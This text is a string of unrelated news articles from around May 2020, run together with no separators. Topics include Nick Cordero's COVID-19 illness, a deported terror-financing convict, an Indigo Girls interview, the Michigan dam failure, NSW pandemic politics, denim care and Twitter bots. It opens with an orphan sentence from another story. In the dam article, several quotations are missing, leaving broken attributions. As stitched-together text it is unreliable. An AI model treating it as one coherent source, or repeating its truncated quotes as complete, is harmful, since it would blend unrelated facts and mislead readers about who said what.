He also didn't wear a mask when touring a Allentown, Pennsylvania factory last week that was a distribution center for medical supplies and protective gear.
Amanda Kloots had a reason to smile on Thursday as she revealed that her husband Nick Cordero's health has taken a 'step forward' after saying that he had been going 'downhill' earlier this week.

'I am happy to say that it looks like we're on a step forward again,' Amanda said of her husband, with whom she shares 11-month-old son Elvis Eduardo.

Broadway star Nick is currently in an ICU at Cedars-Sinai hospital in LA battling COVID-19, and had woken up from a six-week medically-induced coma last week, but then earlier this week Amanda shared he'd had a 'bad morning' which had set him back.

Positive news: Nick Cordero's wife Amanda Kloots smiles as she says his health as now taken a step forward: 'It's been another roller coaster'

'So one of the things that I have learned about this whole process is that the land of the ICU is one step forward, two steps back,' the fitness trainer told her followers.

'And thats kind of what happened to us in these last couple 24 hours.'

She added: 'Wow. It's been another roller coaster, but this one goes out to the doctors and nurses at Cedars-Sinai, the power of prayer and the power of energy and support. And positivity is, Im sorry, in my opinion, insurmountable.'

'Roller coaster': The fitness trainer has revealed the ups and downs of Nick's health battle

But Amanda made it clear that her husband Nick is still 'fighting' and that he is not 'done' with battling the virus.

'We have been singing and dancing and lifting him up in only positive thoughts and words and deeds. And guys, its making a difference. Hes not done. Hes not done.'

Amanda married Nick in 2017 and the couple share son Elvis, who will be celebrating his first birthday next month.

'I am asking again for all the prayers': Amanda has repeatedly asked fans to pray for her ailing husband

Nick has been through a horrific ordeal in the hospital.

He's had to have one of his legs amputated, his lungs have been severely damaged by the coronavirus and he suffered multiple mini-strokes, all of which might delay his recovery.

Nick, who was nominated for a Tony Award for his role in the 2014 in the musical Bullets Over Broadway, first went to the ER on March 30 with a COVID-19 diagnosis, and was subsequently put into a medically-induced coma and ventilator.

Throughout it all, Amanda has been updating fans on his progress on social media, sparking the #wakeupnick hashtag and inspiring even Sylvester Stallone to share an uplifting message for Nick.

Loved one: Amanda has shared this cuddle-up snap from happier times

The fitness trainer was hopeful for her husband's future after he woke up from coma last week.

Speaking with Good Morning America last week, Amanda said doctors had told her the first step in his recovery was a sign of his mental response.

'They always end [our conversations] with, "We just need that mental status, we need to wake him up, we need him to wake up," and it's just been this heaviness that's kind of held over us for this time,' she explained.
Hyderabad, May 22 : Telangana police are piecing together information about an engineering graduate from Hyderabad, Mohammad Ibrahim Zubair, who was convicted in the United States for terror financing of Al-Qaeda and deported to India three days ago.

Intelligence officials were digging out information about the 40-year-old's family background and his possible links in the city.

Zubair along with 167 other Indian deportees was brought to Amritsar by a special flight. He has been quarantined at a centre in Amritsar.

Though Zubair has no case against him in India, the Central agencies may proceed against him after he completes his quarantine. They are likely to question him about the Al Qaeda network and his links in the country.

He may also be brought to Hyderabad as part of the investigation. Sources in Telangana police said they may also question the man about his links in the city and to know if he or any of his was involved in any Al Qaeda related activity in the state.

There is not much information available about the family of Zubair, who is said to have been born in Sharjah and graduated in engineering from a private college in Hyderabad in late 1990s.

Sources said the police were gathering information about the college he graduated from and the place where he lived during his stay in Hyderabad.

After the graduation in Hyderabad, he left for Sharjah and from there went to the US to join his brother, Yahya Farooq Mohammad, and pursue higher studies.

"Ibrahim Mohammad (Zubair), an Indian citizen, studied engineering at the University of Illinois Urbana-Champaign from 2001 through 2005. In or around 2006, he moved to Toledo, Ohio, and married a US citizen. He became a lawful permanent resident of the United States around 2007," the US Justice Department said in a press release in 2018.

Zubair, his brother and two others were arrested in 2011 on charges of terror financing. He was convicted for raising money for Al Qaeda leader Anwar al-Awlaki, who was designated a terrorist by the US in 2009 and killed in a drone strike in 2011 in Yemen.

He pleaded guilty in 2018 and was sentenced in 2019. He completed his term early this year and was released on February 7. He was deported as per the sentence pronounced by the court.

According to an order of the US District court for the Northern district of Ohio, Zubair along with his brother and two others "did knowingly and intentionally provide material support and resources...including currency and monetary instruments, knowing and intending that they were to be used in preparation for, and in carrying out, violations" of the US laws.

Citing his role in the terror funding, the US Justice Department said that Zubair exchanged several mails between 2005 to 2009 with his brother, about the funds and the jihad against the US.

The two discussed jihad in detail over 50-60 mails exchanged between them during 2005 to 2009.

The US Justice Department also stated that Zubair joined the terrorist organisation after watching videos of al-Awlaki. And on directions of his brother, he received money from two Pakistani associates -- Sultan Salim and Asif Salim -- and deposited it into his brother's accounts.

Farooq had travelled with two other persons to Yemen in 2009 to meet Awlaki but they were unsuccessful. He travelled to Sana'a to meet one of his associates where they gave him approximately $22,000 to be given to Awlaki. Zubair facilitated the transfer of the money to his brother overseas for him to take to Awlaki.

Farooq pleaded guilty to providing and concealing material support to terrorists after being detained by the FBI in 2015 and has been incarcerated ever since. Also convicted for hiring a hitman to kill a judge presiding over a terror case, he was sentenced to over 27 years in prison.
Atlanta

After more than 35 years since performing in bars around Emory University, the Indigo Girls remain one of the most consistent musical treasures in folk-pop.

The duo of Emily Saliers and Amy Ray are not only durable songwriters and musicians, but the kind of people whose activism  whether to support LGBTQ rights, Native American communities or environmental causes  is practiced even more than it's preached.

On Friday, the pair will release their 16th album, "Look Long," a collection of 11 songs that alternates among the lush melancholia of the title track, B-52s-esque quirkiness ("Favorite Flavor") and aching introspection ("Country Radio"). Ray and Saliers enlisted old pal John Reynolds  who steered 1999's "Come on Now Social"  for production duties and gathered with him and musician friends in Bath, England, to record in January 2019.

Though plans to support the album with a summer tour have obviously changed, the Indigo Girls have remained deeply connected to their devoted fans via a series of livestreams. Their May 14 edition raised $230,000 for Honor the Earth, their nonprofit dedicated to Indigenous environmental justice and green energy solutions. And on Thursday, another live outing and Q-and-A session was scheduled to raise money for food banks in Georgia through Feeding the Valley.

The Indigo Girls' extensive career will also be the topic of feature documentary from director Alexandria Bombach ("On Her Shoulders"), marking the first time they've allowed a film director to follow their creative process.

Talking a few weeks ago from their respective quarantine spaces  Ray at her home in North Georgia and Saliers from the west coast of Florida  the duo shared some insights about their new music and how they're staying optimistic.

Q: I know record sales haven't been something that's fueled you in a long time. But how do you feel getting ready to release an album with the prospect of touring behind it looking bleak?

Ray: I feel like one of the things that has helped us together is that we tend to work with what we have. We are sort of flexible that way, probably because we started when we were so young and played a lot of gigs. We're both like, we don't know when or how we're going to tour, but we're excited about the new record, and we're trying to make the most of whatever tools we have. The thing that works for us is that we have a fan base that is so amazing and engaged with each other and with us. It gives us that really great gift that we can put music out, and people in our fan community will listen to it.

Saliers: When it ever returns to normal  and I believe it will  people will come to concerts again and go to shows. I feel that's going to be an incredible moment when we can do that again. Playing live shows is at the center of who we were, and I believe it will be a glorious reuniting. But we still enjoy playing these livestreams, and we're enjoying being alive in the music.

Q: Bath is such a beautiful, secluded little town. What was that environment like to record in? Did being in Peter Gabriel's (Real World) studio lend any kind of vibe?

Ray: The good thing about that vibe is because of all the people who have worked there. You have communal breakfast, lunch and dinner, and you live there, so there's a certain focus that you get to have. We didn't stray that far; we didn't have time to. ... We went to a little village pub one night, but we kind of just stayed in the complex, and it was cold and rainy, and we had tea all the time. That band we made the record with is super important to us. We met them in 1998 on Lilith Fair. Just having them all together in one place was totally great. ... (Keyboardist) Carol (Isaacs) and (bassist) Clare (Kenny) played off and on with us for years ... and we were visiting when playing in England a couple of years ago, we said, let's make a record again.

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Q: What's the story behind album cover photo (of Ray and Saliers as children)?

Ray: We had an artist friend, and she does these cool collage things, and she said, "Send me a bunch of pictures of yourself." We both ended up sending her pictures with an Easter shot from around the same age. I think I was 8.

Saliers: I was probably 5 or 6. I think that was the last year I wore an Easter dress before my mom made me Easter pants (laughs).

Q: Tell me about "When We Were Writers." It starts as a nostalgic look back, but you conclude that "you will never be finished." What prompted that thought cycle?

Saliers: I get a lot of fodder from my two years at Tulane (University, which she attended before transferring to Emory). Those life experiences were extremely visceral in colors and tastes. I remember we used to have quarter beer days on the Quad and the Radiators and the Neville's (performed). My world was exploding. I had never been away from my parents. I thought about that feeling of writing songs back then and having your world open up and my sexuality and the vibrancy of that time. Things that were frightening, but those are all things that go into my songwriting. But ultimately, my day in the sun, what does that mean? The point being, it's still burning inside. It might be different, but that fire is still there.

Q: Who or what inspired "Country Radio"? It's so sweet, yet melancholy.

Saliers: That I wrote about because I love country music and was driving back and forth to Nashville a lot, and I love that drive, and I was listening to a lot of country and thinking of all of those hetero-normal songs that I couldn't quite place into my own life. That goes back a long, long, way. It's sad, too.
Federal officials stripped a Michigan dam's license to operate in 2018, turning oversight over to state regulators before the dam failed on Wednesday and caused severe flooding throughout the region.State officials inspected the dam and its spillways shortly after the dam's license was revoked, declaring that the dam stood in "fair structural condition." Regulators quickly moved on to tracking freshwater mussels in the area, which were being threatened by what they deemed was an unlawful drawdown of Wixom Lake, according to The Detroit News The Edenville Dam, operated by Boyce Hydro, failed after heavy rains pounded the area. The breach overwhelmed another dam and caused roughly 10,000 people to flee from their homes just hours before up to 9 feet of water swamped parts of Midland County, Michigan.Michigan officials at the Department of Environment, Great Lakes, and Energy said that regulators did not have sufficient time after taking over oversight of the damn from federal authorities to thoroughly inspect the structure and catch up on the state of the dam. Federal officials had been prodding the dam's current and former owners to address structural issues for nearly two decades.department spokesman Nick Assendelft said.The governor and state attorney general have said they plan to find the parties responsible for the disaster and hold them accountable.Gov. Gretchen Whitmer, a Democrat, said on Wednesday.The governor has declared a state of emergency and called on the federal government for aid.Whitmer said in a statement Whitmer said The catastrophe has wrecked the state's strategy for handling the coronavirus pandemic, forcing people to move in with relatives across the state or into shelters.As The Daily Wire reported:
UNICEF says the lives and health of over a quarter of a million children under one year of age in Libya are at risk from vaccine-preventable diseases.

By Nathan Morley

According to UNICEF and WHO vaccine shortages in Libya are putting more than a quarter of a million children at severe risk. In a joint press release, they say situation is made worse by the continued armed conflict and the COVID-19 pandemic.

Due to the pandemic, access to immunization services have been disrupted since March  a situation that has led to an increased risk of a resurgence of measles and polio.

There are other problems too. Health care services, which have been disrupted, combined with frequent power outages, a shortage of safe water supplies and the closure of schools has compounded the situation.

The WHO says there are acute shortages of the vaccine hexa-valent, which protects against six diseases, including diphtheria and tetanus. Similarly, a polio vaccine which is administered at birth and at nine months of age is in critically short supply.

The main concern is that many migrant, refugee or internally displaced children may not have received their basic vaccination doses in their country of origin or may have missed the required doses in Libya.

Procurement orders for essential vaccines have been delayed because of lengthy governmental approval processes.

In an effort to contain the Covid-19 outbreak, Libyan authorities have imposed a curfew, banned public gatherings and intercity travel, and closed borders.

Earlier this month the Foreign Ministry of Libya's UN-backed government received anti-coronavirus supplies from Turkey, including masks, goggles, protective clothing, sterilizers and disinfectants.
New Delhi, May 22 (IANS) Indian Army oldest artillery man Major (retd) Gurdial Singh Jallanwalia, who fought four wars, including World War II and two wars against Pakistan, has passed away. He was 103.

The war veteran breathed his last on May 21, a senior Indian Army officer said on Friday.

Jallanwalia and 13 of his family members served in the Indian Army and have the distinction of having fought all wars since the World War 1. Jallanwalia's father Risaldaar Duleep Singh fought in the World War 1 in Mesopotamia (today's Iraq).

Jallanwalia was shot in Burma during the World War II. He along with others was sent to Burma

(now Myanmar) by road from Bangalore to fight war against the Japanese in 1944 during World War II. When he along with other army personnel reached the Iraawadi river, they were shot at by a Japanese soldier. He gathered his team and killed two Japanese hidden in the bushes in an open field but he got hit by a bullet.

He had served as a gunner for more than three decades in the Indian Army.

Born on August 21, 1917, Jallanwalia matriculated from the Royal Indian Military School, Jalandhar Cantt and then joined the Mountain Artillery Training Center on June 15, 1935. On completion of training, he was posted with 14 Rajputana Mountain Battery at Abbottabad (now in Pakistan). Later in 1940 , he was posted to a Survey Troop at Cammbellpur (now in Pakistan).

In 1941, the Survey Regiment was upgraded and subsequently in 1942 it became the first Survey regiment. He later got permanent Regular Commission as Second Lieutenant in 1947 and was posted to 40 Field Regiment.

In 1939 and 1940, he took part in Ahmadzai-Waziristan Operation in North West Frontier Province, now in Pakistan. After Independence, Gurdial Singh participated in the action against infiltration of Jammu and Kashmir in the Nowshera Sector in 1948.

In 1965's Indo-Pakistan war in Amritsar-Lahore Sector, he served as Counter Bombardment officer in XI Corps.

He is pioneer in developing surveillance and target acquisition in Indian Artillery after India got Independence. He bid farewell to Indian Army in 1967.

He is survived by his two sons -- Harmanderjeet Singh and Harjinderjeet Singh - who joined the Indian Army and Indian Air Force respectively and fought during in Kargil war in 1999.

--IANS

sk/in
Police have re-arrested a man after a car rammed past another vehicle and smashed into a Sydney shop leaving several people injured and at least two with serious fractures.

The chaotic scene unfolded on Boronia Road in Greenacre, southwest of the city, about 3.10pm on Thursday, with witnesses filming as the horrifying event unfolded.

The 51-year-old man allegedly behind the wheel of the car, a Mitsubishi SUV, was arrested after the crash and taken to Liverpool Hospital under police guard for mandatory testing.

The man behind the wheel of this car has been re-arrested as is expected to be charged. Source: Facebook

Upon his release from hospital, he was taken to Bankstown Police Station on Thursday night where he was interviewed by officers from the Crash Investigation Unit, and later released.

Following further inquiries, the man was re-arrested by investigators at a home on Wangee Road, Greenacre, about 1pm on Friday and taken to Bankstown Police Station where he is expected to be charged.

Fourteen people were treated at the scene, before 10 were taken to Liverpool, Bankstown, and Canterbury hospitals in stable conditions. Their injuries are considered non life-threatening.

Do you have a story tip? Email: newsroomau@yahoonews.com.

You can also follow us on Facebook, Instagram and Twitter and download the Yahoo News app from the App Store or Google Play.
There has been a subtle but significant shift in the Premier's rhetoric in recent days. The laser-like focus on saving lives is still there, but now she's giving equal weight to pulling the state out of an economic nose-dive. "Our first and foremost priority at this stage of the pandemic is about saving lives but also saving jobs," she said this week. "We are all about protecting our citizens in terms of the virus  but also protecting our citizens in terms of the economic disaster that's looming." On Friday those concerns triggered another step out of lockdown as Berejiklian and key ministers announced that pubs, clubs and restaurants could seat up to 50 patrons from June 1, provided they met social distancing constraints. The move comes against the backdrop of April's record monthly drop in retail activity and a projected halving of new home building in the state by next financial year, along with stark figures on job losses. "The next phase will definitely be the hardest," acknowledges Deputy Premier John Barilaro, who is picking up the reins again after his disastrous  and swiftly aborted  attempt to enter the Eden-Monaro federal by-election contest earlier this month.

Illustration: John Shakespeare Credit: "We inherited good economic foundations through the work that [Mike] Baird and [Barry] O'Farrell did so we have become used to streams of revenue coming in and surpluses," he says. "Now the economy is trashed and industry is on its knees but I'm confident that Gladys will be able to lead us through it with the help of her team - but it is going to be tough." Australia's extraordinary success in suppressing the spread of COVID-19 is at once a relief and source of national pride. But there's also nervousness, especially in NSW and Victoria which had the largest burden of infection. Will there be a second wave? Will people take as much care as the government wants in stepping gingerly back into something like life as we used to know it? Not so many weeks ago, Prime Minister Scott Morrison was warning that restrictions could last for up to six months. NSW was telling its schools not to expect a return to full-time face-to-face teaching until the beginning of term three.

Instead the relative dearth of new cases has allowed the recovery phase to pick up more swiftly than anyone anticipated. Loading That's created its own problems as has been evident on several fronts for Berejiklian this week: over public transport; school returns; managing workers trickling back into city office towers  how many, for instance, would be allowed into a lift at any one time? - and sniping over state borders. Even police commissioner Mick Fuller seemed to be struggling with the pace of change as a parliamentary committee grilled him over whether NSW residents still needed a "reasonable" excuse to leave their homes. He said he'd have to "take that on notice". Along with fast-tracked infrastructure, Berejiklian wants to unlock tourism dollars as a driver of economic revival. She and Barilaro also decreed this week that the state's citizens will be free to travel at leisure from June 1. "I said back in March that you were not welcome [in the regions] and we would see you around Christmas," Barilaro declared on Wednesday. "Well, Christmas has come early."

He insists it was Berejiklian's initiative. "She came to me and said, Barra, do you think the sentiment has changed? Do you think the regions want visitors returning?' There is anxiety around that now, but by June that will change," he told the Herald. Berejiklian is now chivvying other states to open up as well (Victoria, like NSW, has not closed its borders through the pandemic). From left: Police Commissioner Mick Fuller, Deputy Premier John Barilaro, Treasurer Dominic Perrottet, Premier Gladys Berejiklian and Chief Medical Officer Dr Kerry Chant. Credit:Kate Geraghty She effectively accused counterparts who are keeping their own drawbridges up of endangering the nation's recovery. That's drawn sharp rebukes from WA Premier Mark McGowan, and Queensland's Annastacia Palaszczuk, with one accusing her of "bullying" and the other of "lecturing". Unfazed, she retorted "we are all adults and we should be able to have this conversation".

On the state's southern flank, her relationship with Victoria's Daniel Andrews goes from strength to strength. The pair struck up a strong working relationship during the bushfires, and their joint manoeuvring in late March - when they unilaterally called a halt to all non-essential businesses ahead of a national cabinet meeting that hadn't yet decided the issue - effectively forced the pace for the entire country. Loading "Gladys made a tough call to get on top of this early," Kean says. "I think she and Dan Andrews have been vindicated by the results." Infectious diseases expert Professor Allen Cheng, a key adviser to the nation's chief medical officers, says health experts now face the "very pleasant" problem of trying to determine the virus' effective reproduction rate in Australia. "We can't work it out because the numbers are [currently] too low to make any estimates," Cheng told the Herald.

"[But] what's heartening is that we know control is possible now. This time in February we were just trying to flatten the curve to save as many lives as we could. But now we actually know that it is possible to effectively stop transmission  we don't want to have to reimpose restrictions again but we know that is is possible to do that if we need to." Loading The aim of any such intervention, he says, would be to keep it tightly targeted. For Berejiklian there is real concern about large numbers of people coming into close contact on public transport as city workplaces start to come back to life. The plan she and Transport Minister Andrew Constance unveiled at the start of the week to drastically limit the number of commuters on trains and buses almost immediately came under pressure, when it was revealed bus drivers were being told they wouldn't be expected to police such limits. David Babineau of the Rail Tram and Bus Union told the Herald "from our perspective things got very confusing very quickly". He says members are concerned they have not been given facemasks to wear. The union is turning to volunteers to make cloth masks for those drivers who want them.

The issue has presented a rare opportunity for state Labor, which (like oppositions around the country) has struggled to gain traction through the pandemic. "Sydney is weeks behind Paris and London in preparing for this mass movement of people," opposition transport spokesman Chris Minns charged this week. Inside government, there is anger at Constance, who is seen to have been distracted at a critical time by his own brief and ill-fated tilt at preselection for the federal seat of Eden-Monaro. (He and Barilaro have both been diminished by that short-lived saga, with mutual suspicion now tainting their relationship). A senior government minister describes the transport plan, designed to deal with students returning to school full-time and the influx of workers to the CBD, as a "mess". "The messaging is all over the place, with Gladys saying one thing, the unions another, the bus drivers another," the senior figure says. "I don't think we have an answer to public transport." Several sources maintain that the transport plan had been a major headache for Berejiklian and she had sent it back to Constance's office several times for it to be improved. "Andrew [Constance] has been completely off the ball and hasn't been focused on transport for a long time, not since the bushfires," the minister says.

Loading Others feel Berejiklian should have managed the Barilaro-Constance rivalry more skilfully before it broke out into near open warfare over their federal ambitions. "She needed to manage the ministers so they were not trampling all over federal territory," said one senior Liberal this week. "She is now sitting there with two senior ministers who have flagged that they don't want to serve the NSW government any more, they would prefer to be somewhere else. Her team is not really firing on all cylinders." But a senior colleague insists she was right "not to buy into that side-show". Schools have been another challenge for Berejiklian as lockdown eases. In mid-April many teachers were still expecting to be teaching the vast bulk of their students online until the end of term two. Then they were given a new plan, involving staged returns for children, with classes initially coming in for one, then several days a week as each step was assessed.

Now the directive is for all state schools to be back, full-time, from Monday. The fact that many learnt about this from the media before hearing it from the department has stirred more discontent in an already fractious teaching workforce. "The problem has been the rapidity of the change and the volume of information that people are having to deal with," the head of the NSW Secondary Principals' Council Craig Petersen says. "We would have preferred an extra week or fortnight to get our heads around it before we brought all the kids back." Berejiklian and Morrison have an opportunity to repair recent strains in their relationship as she steers the state back to business. Her renewed focus on job creation and economic stimulus puts them on the same page. She's cautiously welcomed a plan to get international students back by way of quarantine arrangements worked out with universities, and she'll need federal support to make it happen. Where she and Morrison may also have commonality of interest is on seizing this time to reshape tax and revenue-sharing arrangements between the states and Canberra. The pandemic had created an opportunity for major reform, she declared this week, singling out tax as "top of mind for decision-makers".
Source: Xinhua| 2020-05-22 19:56:22|Editor: huaxia

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ULAN BATOR, May 22 (Xinhua) -- Mongolia will mark its national holiday of Naadam with a live broadcast on both television channels and social media amid the COVID-19 pandemic, the country's government press office reported on Friday.

"The organizing committee of the annual national festival Naadam has decided to organize this year's Naadam on a small range in order to avoid large crowds due to the current situation or the COVID-19 pandemic. Horse racing, archery and wrestling of the Naadam will be traditionally held," the press office said in a statement.

"However, citizens will not be allowed to enter venues of the festival to prevent the spread of COVID-19. Instead of, all activities of the festival will be broadcasted live on television channels and social media," it said.

Inscribed in UNESCO's List of Intangible Cultural Heritage of Humanity, the official holiday is celebrated from July 11 to 15. Naadam means "games" in the Mongolian language.

It is the most widely watched festival in Mongolia.

As of Friday, Mongolia has confirmed a total of 141 COVID-19 infections, including four non-nationals. All 141 cases in Mongolia are imported, mostly from Russia. Among the confirmed cases, 28 patients, including the four foreign nationals, have recovered so far. No local transmissions or deaths have been reported in the country so far.

A French national tested positive for the virus on March 10, becoming the first confirmed case in Mongolia. Enditem
KYODO NEWS - May 22, 2020 - 20:02 | All, World

Japan said Friday a free and open Hong Kong under the current "one country, two systems" framework is important as China seeks to pass a national security law to crack down on opposition activity in the semi-autonomous region.

Chief Cabinet Secretary Yoshihide Suga said Hong Kong is an "extremely important partner" with which Japan has close economic ties, adding, "We are closely following the development with very high interest."

"We believe it's important that under the 'one country, two systems' framework, a free and open Hong Kong will continue to prosper in a stable manner. We'd like to stress this importance once again," the top Japanese government spokesman said at a press conference.

During an annual session of the National People's Congress that began on Friday, China is slated to discuss a bill that would clamp down on what China considers subversive activity in Hong Kong. People in Hong Kong who criticize the Communist-led Chinese government may be accused of sedition if the law is enforced.

The "one country, two systems" framework promises Hong Kong, a former British colony that was returned to China in 1997, the rights and freedoms of a semi-autonomous region for 50 years.

During the press conference, Suga also urged China to boost the transparency of its defense policy and military buildup as military spending will increase to about 1.27 trillion yuan ($178 billion) in 2020, up 6.6 percent from a year earlier.

China's rising defense spending and flexing of its military muscle have raised concerns among its Asian neighbors.

Related coverage:

China omits 2020 growth target amid "great uncertainty" over pandemic

China to introduce national security law in Hong Kong: report

Trump warns of China's move to impose security law on Hong Kong
Australian brand R. M. Williams has revealed the secrets for maintaining jeans to help extend the shelf life of denim.

The clothing experts said limiting the washing of denim jeans until it's necessary can keep its shape and colour through years of wear.

To best preserve the colour of jeans, turn them inside-out and wash in cold water on a slow spin cycle, and then allow them to drip dry, away from direct sunlight.

Australian iconic brand R. M. Williams has revealed the secrets to maintaining jeans to help extend the shelf life of denim (stock image)

How to wash your denim jeans Limit the washing of your jeans until necessary

Turn them inside-out and wash in cold water on a slow spin cycle

Always allow your jeans to drip dry, away from direct sunlight

Always wash denim with similar colours and avoid using fabric softener Advertisement

Always wash denim with similar colours and avoid using fabric softener.

'The indigo dyes in some jeans release both with wear and in the wash. The less indigo lost at the beginning of the lifetime of the jean, the richer the finish will look in the long run,' the experts said.

To wash black jeans for the first time, hand soak them inside out in cold water using only a small amount of black fabric wash to retain colour for longer.

One Australian woman said she's been warned by multiple shop assistants to never use laundry detergent when washing denim jeans.

'I don't use detergent on my really good jeans,' she said.

The clothing experts said limiting the washing of denim jeans until it's necessary can keep its shape and colour through years of wear (stock image)

When it comes to separating whites and colours, consumer scientist Mary Zeitler explained how dyes can bleed in the wash, especially with new garments.

'However, after a few washes, dyes become less likely to release and transfer to other clothing,' she explained.

A group of Australian mothers on social media were divided on this topic, with many saying they do separate their whites and colours, while others admitted they don't.

'I wash all cotton clothes together, including husband's clothes like shirts, pants, shorts, undies and socks. I wash my cotton undies and cotton sleep wear in this cycle as well,' one woman said.

She said all her delicates are washed together in one cycle, which usually includes her activewear, bras in a laundry bag, tops and dresses and 'nice' dress pants.

'I am not separating by colour but more according to the fabric,' she said.

'For white clothes, I soak in a bucket with Vanish and detergent for a day and then just rinse and spin in the machine.'

One woman said she usually does seven separate loads of washing every week.

'I do a load of towels, a load of darks, a load of work clothes, a load of colours, a load of whites and for bed linen, I do a dark and light wash too,' she said.

'But sometimes I whack it all in together if I don't have enough to separate or no time. You may find some of your lighter clothes may darken if washed in with darks but that's about it.'

When it comes to separating whites and colours, consumer scientist Mary Zeitler explained how dyes can bleed in the wash, especially with new garments (stock image)

Many women said they usually wash all their family's clothes together but would separate their husband's garments if they are extremely dirty due to their jobs.

Another added: 'First job - sort your laundry whites, colours, dirty work clothes, never to be mixed. Remember you have a clean wash and a dirty wash, never overload your washing machine. I use Sard spray on stained cloths, never let me down yet.'

For people who are 'hopeless at washing', one woman suggested: 'Try bundling all heavy items together like jeans, things with buttons, jumpers and shorts etc and lights together like pyjamas, leggings, t-shirts etc.

'Then just whites on their own even if you only have a small load. always try to remember red will run the first wash so add salt to your load and wash separately, blacks and darks should also be washed on cold,' she continued.

'If you want to ensure things stay looking nice, try turning them all inside out before washing. As for stains, either soak first or add Napisan and a pre-wash to your cycle. I have five kids so it's never ending.'
President Donald Trump pressed for a further reopening of the United States as job losses mount from coronavirus shutdowns, while China's premier warned of "immense" economic challenges even as the Asian giant emerges from the worst of the pandemic. Calls to kickstart the world's two largest economies came as large parts of Europe continued to resume normal life as the crisis there abates, with more shops opening and beaches welcoming tourists. But the lifting of restrictions in some places comes despite virus cases passing five million globally, with the disease continuing its march in Latin America and Russia. Trump, with an eye on his re-election prospects in November, made it clear he hoped more US state governors would move towards a loosening of anti-virus restrictions. "We did the right thing but we now want to get going... you'll break the country if you don't," he told African-American leaders in Michigan. Another 2.43 million Americans were put out of work last week, the Labor Department said Thursday, bringing the total of newly jobless to 38.6 million since lockdowns were put in place. The Republican incumbent also talked about reopening places of worship, something he had initially hoped would be done by Easter Sunday, saying it was important to the nation's healing. "People want to be in their churches," Trump said. "They're so important in terms of the psyche of our country." The president has adopted the theme of "Transitioning Back to Greatness" as states reopen at different speeds. Deaths are still mounting in the US, with the total surpassing 94,000, and Trump ordered flags at federal buildings be flown at half-staff for three days for the victims. - Return to normal - Across the Atlantic, much of Europe pressed on with work to get life rolling again, with Cyprus lifting curfews and allowing outdoor restaurants, barber shops and beaches to reopen. But the Mediterranean island's airports and hotels remain closed. "I want my work back and my life back," said Sakis Siakopoulos, a restaurant owner in the capital Nicosia. In Denmark, the exit from lockdown also picked up pace as museums and zoos began reopening and health officials said the spread of the virus was slowing. France, one of the countries hit hardest by the outbreak, saw its daily death toll dip to 83, providing a cause for optimism. A closely watched survey by IHS Markit indicated the eurozone economy has now "likely bottomed out", sparking hope that a recovery is to follow. - 'It doesn't stop' - But while many European countries have significantly curbed the contagion, Latin America is becoming a new hotspot with cases on the rise. Brazil -- now home to the third-highest number of cases in the world after the US and Russia -- has recorded more than 20,000 deaths and hit a record 24-hour toll of 1,188. Grave diggers at a cemetery outside Sao Paulo are scrambling to keep up. "We've been working 12-hour days, burying them one after the other. It doesn't stop," said one worker at Vila Formosa, wearing a white protective suit, mask and face shield. Peru, Mexico and Chile have also seen steady increases in infections. "It's like a horror film," Miguel Armas, a nurse at the Hipolito Unanue hospital in the Peruvian capital, told AFP. The death toll worldwide has now surpassed 330,000, according to an AFP tally based on official sources. - War of words - Recriminations over the pandemic have continued to fly between the United States and China -- where the outbreak first erupted last year -- with Trump blaming Beijing's "incompetence" for the extent of the global crisis. China has rejected that criticism, insisting it has been forthright with the world about the origins of the virus and its work to tackle its spread. "It is neither responsible nor moral to cover up one's own problems by blaming others," said Zhang Yesui, a spokesman for China's legislature. On Friday Chinese Premier Li Keqiang took the rare step of not setting an annual economic growth target for the country in light of the "great uncertainty" created by the pandemic. At the opening of the National People's Congress he only said Beijing will "give priority to stabilising employment and ensuring living standards". "At present, the epidemic has not yet come to an end, while the tasks we face in promoting development are immense," he said. Virus cases in the Asian giant are now down to a trickle, and Beijing insists its efforts to curb the spread have been a success, but questions remain about whether it underreported the numbers affected by the contagion. - Second surge - Governments around the world are testing ways to live long- term with the threat of the virus amid fears of a second wave of infections. Already a common sight in Spain, masks were officially made mandatory Thursday for anyone over the age of six in public places where social distancing is not possible. "The more tools we use, the better," said Miguel Domingo, a 49-year-old architect taking his two dogs for a walk in Madrid, which is emerging from one of the toughest lockdowns. burs-axn/hg US President Donald Trump holds a mask as he speaks during a tour of the Ford Rawsonville Plant in Ypsilanti, Michigan Delegates wearing face masks stand in a silent tribute for victims of COVID-19 during the opening session of the National People's Congressat the Great Hall of the People in Beijing A worker sweeps the floor next to coffins for Covid-19 victims at El Angel cemetery, in Lima, Peru US President Donald Trump speaks during a tour of the Ford Rawsonville Plant, that has been converted to making personal protection and medical equipment, in Ypsilanti, Michigan A visitor wearing a face mask points at masked statues at Yasaka Shrine in Kyoto, Japan A man drinks coffee outside a hairdresser's salon in the Cypriot capital Nicosia Yemeni children cheer as a worker wearing a protective gear sprays disinfectant on a car in the capital Sanaa Relatives wearing protective gear carry the coffin of a woman who died from COVID-19 into a graveyard in Srinagar Police ask to people to follow physical distancing rules in front of the hotel des Invalides in Paris Medical staff signal from behind a door as they participate in a national "clap for carers" to show thanks for the work of Britain's NHS at Aintree University Hospital in Liverpool, northwest England
A lmost half of Twitter accounts posting misinformation about coronavirus are likely to be automated bots, research has found.

More than 200 million tweets about Covid-19 since January were analysed by scientists, who discovered 45 per cent of them displayed behaviour more like computers than humans.

While it could not be confirmed who was behind the accounts, researchers at Carnegie Mellon University in the US suggested the tweets were aimed at creating social divisions.

The tweets were uncovered using a bot-hunter tool programmed to discover accounts pumping out more posts than a human could, or which were flagged as being located in several countries over just a few hours.

Researchers also examined the rogue accounts followers and how often they were mentioned on the social network.

Twitter has released its own new automated labelling system for misleading tweets / Getty Images

The team found more than 100 false reports about the spread of Covid-19 linked to bot-controlled accounts.

Misinformation being spread included fake news about about hospitals filled with mannequins and 5G conspiracies.

It comes as dozens of mobile phone masts were set on fire across the UK amid false claims linking new super-fast technology to coronavirus.

Study leader Kathleen Carley, professor of computer science at Carnegie Mellon, told Americas National Public Radio: Were seeing up to two times as much bot activity as we'd predicted based on previous natural disasters, crises and elections.

When we see a whole bunch of tweets at the same time or back to back, it's like they're timed.

We also look for use of the same exact hashtag, or messaging that appears to be copied and pasted from one bot to the next."

Professor Carley added: We do know that it looks like it's a propaganda machine, and it definitely matches the Russian and Chinese playbooks, but it would take a tremendous amount of resources to substantiate that.

Last week, the platform revealed a new system for labelling misleading, disputed or unverified tweets related to coronavirus.

